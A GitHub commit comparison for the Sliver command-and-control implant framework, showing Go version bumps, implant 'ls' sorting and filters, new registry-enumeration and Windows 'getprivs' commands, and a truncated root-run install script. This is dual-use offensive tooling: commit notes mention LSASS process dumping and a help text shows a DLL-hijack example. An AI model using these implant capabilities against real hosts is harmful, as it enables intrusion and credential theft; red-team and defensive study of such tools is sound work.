Compare commits

..
38 Commits
Author SHA1 Message Date
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
rkervella a51d93cf58 Merge branch 'master' into procdump-memory 2021-08-04 12:14:22 +02:00
rkervella 44abb0e03b Switch to in memory process dump on windows 2021-08-04 12:00:01 +02:00
Ronan Kervella 7ef4923fc0 Merge pull request #490 from iiiusky/fix/portfwdBug
fix: Remove default from select, which will cause the cpu to spike
Overriding commit signing for this one, it's a one line change with no security impact.
2021-08-03 11:50:18 +02:00
sky 3f83761a90 fix: Remove default from select, which will cause the cpu to spike 2021-08-03 16:11:36 +08:00
Ronan Kervella 94eb13610b Merge pull request #485 from BishopFox/registry
Add registry list-subkeys and list-values sub commands
2021-07-29 11:37:29 +02:00
rkervella 394fdb4a1e Add registry list-subkeys and list-values sub commands 2021-07-29 11:06:27 +02:00
Ronan Kervella 9d3b6564f8 Merge pull request #480 from BishopFox/fix/reg-crash
Fix crash on registry read
2021-07-27 19:02:34 +02:00
rkervella 9cdb3e6def Apply fix to reg-create and reg-write too 2021-07-27 18:43:07 +02:00
rkervella 2df7f1319f Fix #479 2021-07-27 18:40:18 +02:00
rkervella 4ad24ac3a0 Fix typo 2021-07-27 18:14:20 +02:00
Joe d928ca58dd Merge pull request #478 from RafBishopFox/master
Add new Windows command getprivs
2021-07-25 16:30:00 -05:00
Raf c18ba5fcb8 Merge branch 'master' of github.com:RafBishopFox/sliver 2021-07-25 16:29:02 -04:00
Raf 0e9545ae1c Adding getprivs command for Windows 2021-07-25 16:28:48 -04:00
Raf e6d1041068 Adding getprivs command for Windows 2021-07-25 16:07:49 -04:00
rkervella 85265d663f WIP, doesn't work with LSASS 2021-07-23 13:45:13 +02:00
234 changed files with 10272 additions and 6593 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+7 -7
View File
@@ -1,10 +1,10 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.6
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
-1
View File
@@ -121,7 +121,6 @@ windows: clean
.PHONY: pb
pb:
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
+61 -1
View File
@@ -1038,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
@@ -1643,7 +1646,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "egistry hive")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to read values from")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1690,6 +1693,45 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListSubKeysCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListValuesStr,
Help: "List the values for a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegListValuesCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to write values to")
},
})
con.App.AddCommand(registryCmd)
// [ Pivots ] --------------------------------------------------------------
@@ -2168,4 +2210,22 @@ func BindCommands(con *console.SliverConsoleClient) {
},
}
con.App.AddCommand(dllhijackCmd)
// [ Get Privs ] -----------------------------------------------------------------
getprivsCmd := &grumble.Command{
Name: consts.GetPrivsStr,
Help: "Get current privileges (Windows)",
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
privilege.GetPrivsCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(getprivsCmd)
}
+118 -6
View File
@@ -22,8 +22,11 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(ls, con)
PrintLs(ls, con, ctx.Flags, filter)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
+29 -1
View File
@@ -235,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
@@ -627,6 +651,10 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\u
# Use a local DLL as the reference DLL
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
`
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
)
+109
View File
@@ -0,0 +1,109 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
nameColumnWidth = len(entry.Name)
}
if len(entry.Description) > descriptionColumnWidth {
descriptionColumnWidth = len(entry.Description)
}
}
// Give one more space
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
con.Printf("Disabled")
}
if entry.EnabledByDefault {
con.Printf(", Enabled by Default")
}
if entry.Removed {
con.Printf(", Removed")
}
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf("\n")
}
}
+12 -4
View File
@@ -49,12 +49,20 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+77
View File
@@ -0,0 +1,77 @@
package registry
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
path := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.Subkeys) > 0 {
con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
}
for _, subKey := range regList.Subkeys {
con.Println(subKey)
}
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
regPath := ctx.Args.String("registry-path")
hive := ctx.Flags.String("hive")
hostname := ctx.Flags.String("hostname")
regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if regList.Response != nil && regList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", regList.Response.Err)
return
}
if len(regList.ValueNames) > 0 {
con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
}
for _, val := range regList.ValueNames {
con.Println(val)
}
}
+17 -4
View File
@@ -72,6 +72,10 @@ func getType(t string) (uint32, error) {
// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
@@ -93,15 +97,24 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You must provide a path")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath = regPath[:pathBaseIdx]
key = regPath[pathBaseIdx+1:]
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
Hive: hive,
Path: regPath,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
+12 -4
View File
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
slashIndex := strings.LastIndex(regPath, "\\")
key := regPath[slashIndex+1:]
regPath = regPath[:slashIndex]
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
switch valType {
case sliverpb.RegistryTypeBinary:
var (
@@ -118,7 +126,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveSession.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: regPath,
Path: finalPath,
Type: valType,
Key: key,
StringValue: stringValue,
+2
View File
@@ -206,6 +206,8 @@ const (
ReactionStr = "reaction"
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
)
// Groups
-2
View File
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
case data := <-tun.Recv:
log.Printf("Read %d bytes", len(data))
buff.Write(data)
default:
break
}
n := copy(data, buff.Bytes())
return n, nil
+120 -24
View File
@@ -1,15 +1,22 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
zip unzip curl build-essential \
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -31,9 +38,69 @@ then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
cd $HOME
echo "Running from $HOME"
cd /root
echo "Running from $(pwd)"
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGBlvl8BEACpoAriv9d1vf9FioSKCrretCZg4RnpjEVNDyy6Y4eFp5dyR9KK
VJbm8gP4ymgqoTrjwqRp/tSiTB6h/inKnxlgy7It0gsRNRpZCGslPRVIQQBStiTv
sxQ4qIxebvku/4/dqoSmJzhNg9MzClR8HTO7Iv74jP7gGMD+gebvXwapstBkua66
N4OPRVyau3FvkD1hZR+XWLBA9ba3Ow7XRA/jl4Mk5LpsqUbFEWbung4oBPKtyriM
RkiRxOpkR7tAGGlay0kfCt9V6ip5GSb2+Mogk3jeqsD1BryABAlgWznxBbK5StXN
OXRzAT1TbGeEZ0K8FCXYWHLuakEntVKF2w1VaJ+bJDRLEecuiCmAj1kh9Xx99o5z
Lbgq+1Vad11Bx+9teOflLqil3H19YZPQIkunlW2ugqlvg9V5bywjh6GzRM0r83Oo
mY7aA75Teueaf2DX/23y+2UG924B9F2DrpNOfnIOb7ytFjVzDa02lpedF1OH0cv6
mRObEr0N6vJh223XduZDMk1uLIuVkmX5uVjfR5lWafWedykDMGbOYi4o+sABc9+8
3THwPKg4aRhwWBnblPKqzo598BP1/D1+GAxyc59nMNwFfOTmU7PIfhx7laG9/zxA
L1CygInIxZbr++NW4vr0qqbLHwX9fKY3C2iee5Q4N8a51bqXEdoM1R+gUwARAQAB
tB1TbGl2ZXIgPHNsaXZlckBiaXNob3Bmb3guY29tPokCTgQTAQgAOBYhBA7TkA0p
bPoCg6TkZn35EkBESQOcBQJgZb5fAhsDBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheA
AAoJEH35EkBESQOcRr8QAI/b9hSOd80uk+I75NbxMeBk1QPZvA3Zj6wO22V4vj0w
9WlgwT30I5Zgjcmp+hp/+Mf+ywHzlyFRySVm6X1JYgLBT0GLZJvLBjW1oEdah7NP
i1snzU3v1aRYXwhj1HdIO4HHCJ/y4hv7S1AIQgCtsZ+tQFAA7e8xvj/dgC5xjl5p
2xxC+P9ZQTuCbO8WyxTMPt/Z/nnQfRO0og/GGLYrJyPed+w6wcThgEbW79YCG1jb
+M+MRnGZuuFkG6+J/rPPaj6R+DnDkCria0l5LUuQLTgOgFaLXEhsoGeXF6MjwIIb
bjL8uf4xmJpudbh1TS1IgriURZQkfypANXGK2O81VOcvrfL+u76Rv96M9BAHbxwZ
l+iVqXhsYHytV0/E8ouuL3UaX/8QNiD2YSLczHc2htq7yCwo7bNCl5P7kySAjTGM
mJmlJYD1DfRw8uw1or8EtxxwBVlpzNa5Bpnu6HGh7oFtA1ynGaO+VHngfKSUJkYJ
7y6ZW9wyWdGiKe5Sdp99ngL5+r9fnUChs3MVSE6Fl/WPobALlh57X51+Q7SENXQZ
a5mSNRGf4ZaaJnCIo3/PXJcqIjxC2CP5rtab1F9fSttUwWYSBcw7voN2COHfaipJ
JM5PvcLpyi6K5ZP17kjXkRU+hVWGufEmmakE5Mqr4wfsKcggAF7Oatbll1BpKzb2
uQINBGBlvl8BEACstG4cNeuYsRuKGinYs3P4X0l/r/Z2gFnwBf3l+X5IQKUxbW/l
32UMSEPUZCnojp8iHnmnL5N0AXLRi7rGU4coQysVwCd09apFom4WZNHGFfd0u+V/
zxaJ9Lxn6CVoMR1aQ2WCLSy/q06/T3OY7NE5rimtgPOtW2gXu0NLZD54D4SAdCNr
GF1iUK1R1AKIiY2R2Orp+yUBdUrFqHX9HyGvSC9eFzNGRBfLuW0P9ygUoyebZRBK
uT7QONgdduvfwJ7T8qYSHrPotOz/bsqcVEoYXFQ5XR/6WW1wJEeBeqBvhqYpsJaE
